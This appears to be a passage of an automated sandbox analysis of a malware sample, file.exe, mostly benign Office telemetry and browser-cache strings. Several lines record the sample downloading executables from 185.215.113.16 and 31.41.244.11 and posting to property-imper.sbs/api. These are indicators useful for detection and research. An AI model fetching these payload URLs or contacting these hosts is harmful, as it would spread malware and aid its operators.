Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: file.exe, file.exe, 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe9
Source: file.exe, 00000000.00000002.2465866791.00000000004FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000002.2470845753.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.mi
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_123.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_123.5.dr, chromecache_92.5.dr, chromecache_124.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_123.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_123.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
